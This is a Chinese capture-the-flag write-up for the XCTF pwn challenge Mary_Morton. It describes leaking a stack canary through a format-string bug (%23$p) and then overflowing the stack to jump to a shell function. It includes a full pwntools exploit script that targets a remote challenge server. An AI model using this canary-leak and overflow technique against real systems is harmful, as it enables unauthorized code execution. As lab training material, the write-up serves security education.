[攻防世界]Mary_Morton
Posted lxy8584099
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[攻防世界]Mary_Morton相关的知识,希望对你有一定的参考价值。
打开程序看,菜单已经说明的很清楚了
1存在栈溢出,2存在format
不过checksec了发现
存在栈保护,这里的format就可以泄露出标志位
经过尝试,%x只能输出8bit的数 这里使用%p
先试试水
第6个参数就是我们的输入首地址了 然后往下找标志位
计算出是第23个参数
验证一下
是第23个参数没错了
提取出来就可以栈溢出了
溢出的时候控制标志位不改变即可
from pwn import * # io=process(‘./mary‘) io=remote(‘111.198.29.45‘,43483) io.recvuntil(‘3. Exit the battle ‘) io.sendline(str(2)) sleep(0.5) io.sendline(‘%23$p‘) data=io.recvuntil(‘ ‘) print "stack: "+data stack=int(data[:-1],16) print "stack: "+hex(stack) shell_addr=0x4008DA io.recvuntil(‘3. Exit the battle ‘) io.sendline(str(1)) sleep(0.5) payload=‘a‘*(0x90-8)+p64(stack)+p64(shell_addr)*5 io.sendline(payload) io.interactive() #rdi, rsi, rdx, rcx, r8, r9 # %23$p
以上是关于[攻防世界]Mary_Morton的主要内容,如果未能解决你的问题,请参考以下文章